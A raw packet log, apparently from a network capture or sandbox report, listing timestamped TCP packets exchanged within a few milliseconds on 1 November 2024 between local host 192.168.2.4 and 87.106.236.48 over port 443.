Nov 1, 2024 13:42:30.373435020 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.373465061 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.373471022 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.373502016 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.373512030 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.373821020 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.373845100 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.373878956 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.373886108 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.373908043 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.373929024 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.374263048 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.374281883 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.374317884 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.374324083 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.374351025 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.374363899 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.374742031 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.374763966 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.374798059 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.374804974 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.374836922 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.374846935 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.375273943 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.375293970 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.375327110 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.375336885 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.375349998 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.375372887 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.375705004 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.375725031 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.375762939 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.375770092 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.375794888 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.375807047 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.376235008 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.376257896 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.376300097 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.376307011 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.376327991 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.376346111 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.376676083 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.376696110 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.376729012 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.376738071 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.376760960 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.376784086 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.377103090 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.377132893 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.377161980 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.377175093 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.377188921 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.377551079 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.377574921 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.377583027 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.377599001 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.377609015 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.377646923 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.377944946 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.377962112 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.378015995 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.378022909 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.378035069 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.378062010 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.378432989 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.378458977 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.378496885 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.378503084 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.378516912 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.378528118 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.378537893 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.378544092 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.378560066 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.378595114 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.378595114 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.378621101 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.378639936 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.378678083 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.378685951 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.378696918 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.378726959 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.378742933 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.378767014 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.378802061 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.378808022 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.378829002 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.378844023 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.378844976 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.378858089 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.378885984 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.378900051 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.378906965 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.378930092 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.378941059 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.378957033 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.378958941 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.378972054 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.378993988 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.379024982 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.379030943 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.379043102 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.379060030 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.379087925 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.379093885 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.379117012 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.379120111 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.379137039 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.379139900 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.379148006 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.379168987 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.379209042 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.379231930 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.379251957 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.379287958 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.379293919 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.379307032 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.379328012 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.379333019 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.379344940 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.379364014 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.379385948 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.379391909 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.379414082 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.379416943 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.379435062 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.379437923 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.379453897 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.379472017 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.379509926 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.379511118 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.379523039 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.379542112 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.379565954 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.379589081 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.379595995 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.379606962 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.379623890 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.379637003 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.379643917 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.379668951 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.379686117 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.379703999 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.379709005 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.379724026 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.379740000 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.379759073 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.379779100 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.379785061 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.379792929 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.379812956 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.379832983 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.379843950 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.379849911 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.379869938 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.379878998 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.379894972 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.379904985 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.379913092 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.379931927 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.379960060 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.379973888 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.379978895 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.379991055 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.380007029 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.380043983 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.380055904 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.380080938 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.380116940 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.380122900 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.380137920 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.380141020 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.380166054 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.380171061 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.380189896 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.380199909 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.380232096 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.380278111 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.380302906 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.380337000 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.380343914 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.380356073 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.380376101 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.380386114 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.380417109 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.380448103 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.380455017 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.380481958 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.380485058 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.380496025 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.380501986 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.380517006 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.380544901 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.380577087 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.380589962 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.380599022 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.380636930 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.380646944 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.380669117 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.380680084 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.380686998 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.380718946 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.380748987 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.380750895 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.380764961 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.380780935 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.380812883 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.380820036 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.380846024 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.380846024 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.380860090 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.380866051 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.380883932 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.380894899 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.380920887 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.380925894 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.380945921 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.380954027 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.380964041 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.380985975 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.380997896 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.381014109 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.381038904 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.381043911 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.381051064 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.381078005 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.381087065 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.381107092 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.381112099 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.381124020 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.381139994 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.381153107 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.381177902 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.381185055 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.381197929 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.381215096 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.381225109 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.381252050 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.381258965 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.381293058 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.381326914 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.381326914 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.381336927 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.381366968 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.381373882 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.381393909 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.381395102 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.381423950 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.381429911 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.381442070 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.381449938 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.381481886 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.381505966 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.381529093 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.381563902 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.381570101 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.381583929 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.381587982 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.381606102 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.381613016 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.381627083 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.381644964 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.381673098 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.381680012 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.381691933 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.381711960 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.381720066 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.381726980 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.381750107 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.381783962 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.381784916 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.381798029 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.381817102 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.381839991 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.381846905 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.381865978 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.381876945 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.381885052 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.381891966 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.381910086 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.381928921 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.381934881 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.381953001 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.381963015 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.381973982 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.381979942 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.381993055 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.382013083 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.382044077 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.382050037 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.382062912 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.382081032 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.382102966 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.382110119 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.382123947 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.382138014 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.382148981 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.382154942 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.382179022 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.382189989 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.382208109 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.382214069 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.382236004 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.382236004 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.382261992 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.382266045 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.382273912 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.382293940 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.382324934 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.382328987 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.382337093 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.382373095 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.382390022 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.382396936 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.382431030 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.382438898 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.382450104 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.382462025 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.382482052 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.382488966 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.382517099 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.382524014 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.382540941 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.382549047 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.382569075 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.382570028 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.382581949 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.382601976 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.382633924 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.382651091 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.382651091 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.382663012 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.382685900 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.382714033 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.382725000 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.382731915 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.382747889 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.382764101 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.382775068 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.382778883 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.382807016 CET	443	49762	87.106.236.48	192.168.2.4
